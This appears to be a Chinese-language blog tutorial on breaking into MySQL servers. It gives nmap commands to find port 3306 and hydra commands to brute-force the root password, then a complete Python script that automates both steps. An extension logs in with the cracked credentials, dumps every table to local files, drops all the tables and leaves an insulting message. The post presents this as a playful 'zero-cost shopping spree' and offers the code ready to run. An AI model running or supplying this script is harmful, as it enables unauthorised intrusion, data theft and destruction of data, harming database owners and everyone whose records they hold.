打工已经很累了,何必再弄一堆强密码折磨自己呢?
扫描
得到目标域名或ip后用扫描找到MySQL服务占用的端口
1 2
| export TARGET="example.com" sudo nmap -sS -T4 -n -v $TARGET
|
-sS
让nmap通过发送TCP SYN包来去检测是否有服务在
-T4
用来缩短每次试探的等待时间,加速扫描,网络延迟高的话建议不用
-n
不使用nmap内建的并行解析器,加速扫描
-v
让nmap废话多一点方便调试
关键输出部分的示例如下1 2 3 4
| PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql
|
看到MySQL运行在3306端口上
爆破
可以一遍遍地用mysql
指令手动爆破
1
| mysql -h $TARGET -P 3306 -u "root" -p --skip-ssl
|
但是效率太低了,而且看起来很蠢
专业密码爆破装置hydra
提供了另一种优雅的方式
1
| hydra -L user.txt -P pass.txt -s 3306 -t 4 "mysql://${TARGET}"
|
user.txt和pass.txt分别存放要去尝试的用户名和密码,-t
表示并发运行的爆破线程数,端口可用-s
指定或者写在url里
关键输出部分的示例如下
1
| [3306][mysql] host: example.com login: root password: 123456
|
自动化
可以将上述流程封装成一个Python命令行脚本实现自动化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import os import re import tempfile import argparse
RED = '\033[1;31m' GREEN = '\033[1;92m' RESET = '\033[0m'
def scan(host): print(f'{RED}==== 扫描开始 ===={RESET}') print(f'目标: {host}') with tempfile.NamedTemporaryFile('w+') as outfile: os.system(f'nmap -sS -T4 -n -v -oN {outfile.name} {host}') output = outfile.read() mysql_line = re.search('.*mysql.*', output) if mysql_line != None: port = int(mysql_line.group(0).split('/')[0]) print(f'{GREEN}发现MySQL运行在端口{port}{RESET}') assert port in range(1, 65536) return port else: print(f'未发现MySQL运行') return None
def explode(host, port, user_fname, passwd_fname): print(f'{RED}==== 爆破开始 ===={RESET}') print(f'目标: {host}:{port}') with tempfile.NamedTemporaryFile('w+') as outfile: os.system(f'hydra -L "{user_fname}" -P "{passwd_fname}" -s {port} -t 4 mysql://{host} > {outfile.name}') output = outfile.read() credential_line = re.search(r'login:.+', output) if credential_line != None: credentials = credential_line.group(0).split() user = credentials[1] passwd = credentials[3] print(f'{GREEN}爆破成功: 用户名 {user} 密码 {passwd}{RESET}') return (user, passwd) else: print('爆破失败') return None def main(): parser = argparse.ArgumentParser(description='Exploooosion!') parser.add_argument('host', type=str, help='target hostname or ip') parser.add_argument('-u', '--user-file', type=str, help='file for possible usernames') parser.add_argument('-p', '--passwd-file', type=str, help='file for possible passwords') args = parser.parse_args() scan_res = scan(args.host) if scan_res == None: exit(-1) port = scan_res explosion_res = explode(args.host, port, args.user_file, args.passwd_file) if explosion_res == None: exit(-1) username, passwd = explosion_res if __name__ == '__main__': main()
|
设置好目标,用户名范围和密码范围分别逐行写入user.txt
以及pass.txt
两个文件
1 2
| export TARGET="example.com" sudo ./prog $TARGET -u ./user.txt -p pass.txt
|
得寸而又进尺
你不能期待贼进大院后什么也不做…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| ... import pymysql from pathlib import Path import json
... def exp(host, port, username, passwd): print(f'{RED}==== 零元购开始 ===={RESET}') db_name = "target_db" db_config = { 'host': host, 'port': port, 'user': username, 'password': passwd, 'charset': 'utf8', 'db': db_name } conn = pymysql.connect(**db_config) print(f'{GREEN}连接成功{RESET}') with conn.cursor() as cursor: cursor.execute('show tables;') tables = cursor.fetchall() subdir = 'data' os.makedirs(subdir, exist_ok=True) for table in tables: table_name = table[0] cursor.execute(f'select * from {table_name};') table_data = cursor.fetchall() with open(Path(subdir) / table_name, 'w') as saved_file: saved_file.write(json.dumps(table_data)) saved_file.flush() print(f'{GREEN}数据获取成功,已保存到{Path(subdir)}目录下{RESET}') for table in tables: table_name = table[0] cursor.execute(f'drop table {table_name};') print(f'{GREEN}删除成功{RESET}') cursor.execute(f'create table hello ( value varchar(666) );') cursor.execute(f'insert into hello value (\'Fuck you!\');') print(f'{GREEN}打招呼成功{RESET}') conn.commit() conn.close()
def main(): ... parser.add_argument('-e', '--exp', action='store_true', help='whether to perform exp') ... if args.exp: exp(args.host, port, username, passwd)
...
|